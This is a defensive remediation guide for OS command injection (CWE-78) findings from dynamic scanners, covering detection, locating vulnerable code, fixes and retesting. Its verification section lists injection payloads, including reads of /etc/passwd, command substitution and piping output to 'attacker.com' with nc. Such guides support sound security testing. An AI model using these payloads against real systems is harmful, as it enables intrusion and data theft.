Skip to content

CWE-78: OS Command Injection

Overview

This guidance helps you interpret and remediate findings from DAST (Dynamic Application Security Testing) tools. The scanner detected that the application invoked operating system commands using user-controlled input, enabling arbitrary command execution through either shell metacharacter injection (CWE-77) or malicious argument injection (CWE-88). DAST tools identify this by:

Detection Methods:

  • Shell Metacharacter Injection: Testing command separators (;, |, &&, ||), command substitution (`cmd`, $(cmd))
  • Argument Injection: Injecting dangerous flags to legitimate commands (--output=/etc/cron.d/backdoor, -exec whoami)
  • Time-Based Detection: Injecting delay commands (sleep 10, ping -n 10 127.0.0.1, timeout /t 10) and measuring response time
  • Out-of-Band Detection: Injecting DNS/HTTP callbacks (curl http://attacker.com, nslookup scanner.owasp.org)
  • Error-Based Detection: Submitting invalid commands/syntax and analyzing error messages for shell indicators
  • Output-Based Detection: Injecting commands with predictable output (whoami, id, ipconfig) and searching responses

HTTP Evidence:

  • Response bodies containing OS command output (username, directory listings, system information)
  • Response timing delays matching injected sleep/ping duration (10-second delay for sleep 10)
  • Error messages revealing command execution context ("sh: syntax error", "'command' is not recognized")
  • DNS/HTTP requests to scanner infrastructure (Burp Collaborator, ZAP Callback Service)
  • Stack traces showing process invocation APIs (ProcessBuilder, Runtime.exec(), child_process, subprocess)
  • HTTP status code differences for valid vs. invalid command injection attempts

Scanner Behavior: OWASP ZAP and PortSwigger Burp Scanner test OS command injection using multi-stage detection:

  1. Time-based blind injection for initial detection
  2. Out-of-band interaction for confirmation
  3. Direct output extraction when possible.

They test both Unix/Linux and Windows command syntax across all input parameters.

CWE-78 is often reported by scanners as the umbrella finding; root cause analysis typically maps to CWE-77 (shell metacharacters) or CWE-88 (argument injection).

Analyzing the Dynamic Scan Result

What the DAST Scanner Found

When reviewing your security scan results, you'll see:

HTTP Request Details

  • URL and endpoint that triggered the finding
  • HTTP method (GET, POST, etc.)
  • Query parameters or form data with test payloads
  • Request headers and body content

HTTP Response Evidence

  • Response showing the vulnerability manifestation
  • Evidence of improper handling or injection
  • Runtime behavior indicators

Attack Vector

  • Which parameter or input is vulnerable
  • Type of exploitation possible
  • Context where the vulnerability appears

Mapping DAST Findings to Source Code

Find the Vulnerable Endpoint

Use the HTTP request URL to locate the code:

# Search for the URL path in your codebase
grep -r "/convert" src/
grep -r "/process" src/
grep -r "/execute" src/
grep -r "route.*convert" src/

Locate the Route Handler

Common patterns to search for:

  • Python Flask/Django: @app.route('/convert'), path('process/', ...)
  • Node.js Express: app.get('/convert', ...), router.post('/process', ...)
  • Java Spring: @PostMapping("/convert"), @RequestMapping("/execute")
  • ASP.NET: [Route("convert")], [HttpPost("process")]
  • PHP: $_GET['filename'], $_POST['command']

Find the Parameter Handling

Search for the vulnerable parameter name (common in command injection):

# Find where the parameter is accessed
grep -r "request.args.get('filename')" src/     # Python Flask
grep -r "req.body.file" src/                   # Node.js
grep -r "@RequestParam.*file" src/             # Java Spring
grep -r "Request.Form['filename']" src/        # ASP.NET
grep -r "$_POST['file']" src/                  # PHP

Trace to Vulnerable Operation

Look for where the parameter is used in:

  • System command execution: exec(), system(), os.system(), Runtime.exec(), child_process.exec()
  • Shell invocation: sh -c, cmd /c, shell=True, /bin/bash -c
  • File processing commands: convert, ffmpeg, imagemagick, pandoc
  • Network utilities: ping, curl, wget, nslookup
  • Compression/archiving: zip, tar, gzip, 7z

Remediation

Core principle: Never execute operating system commands constructed from untrusted input; eliminate shell execution entirely and use safe, parameterized system APIs when OS interaction is unavoidable.

→ For comprehensive remediation guidance, see Static CWE-78 Guidance

Language-Specific Guidance

The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:

Verification and Follow-Up Testing

After applying the fix:

Reproduce the Vulnerability

# Use curl to replay the exact request with command injection
curl "http://localhost:3000/convert?filename=test.pdf; ls -la"
curl -X POST "http://localhost:3000/process" -d "file=report.doc|whoami"

# Or use browser DevTools Network tab to copy as cURL

Verify the Fix

  • Confirm command injection attempts fail or are safely handled
  • Verify proper use of parameterized execution (no shell invocation)
  • Verify no shell is invoked and untrusted input is passed only as data to parameterized process APIs (validation is defense-in-depth).
  • Ensure error messages don't leak system information

Test Edge Cases

# Command chaining attempts
/convert?filename=test.pdf; cat /etc/passwd
/convert?filename=test.pdf && whoami
/convert?filename=test.pdf | nc attacker.com 4444

# Command substitution
/convert?filename=$(whoami).pdf
/convert?filename=`id`.pdf

# Newline injection
/convert?filename=test.pdf%0Als%20-la

# Background execution
/convert?filename=test.pdf & sleep 10 &

Re-run DAST Scanner

Run your dynamic scanner again on the fixed endpoint to confirm remediation.

Additional Resources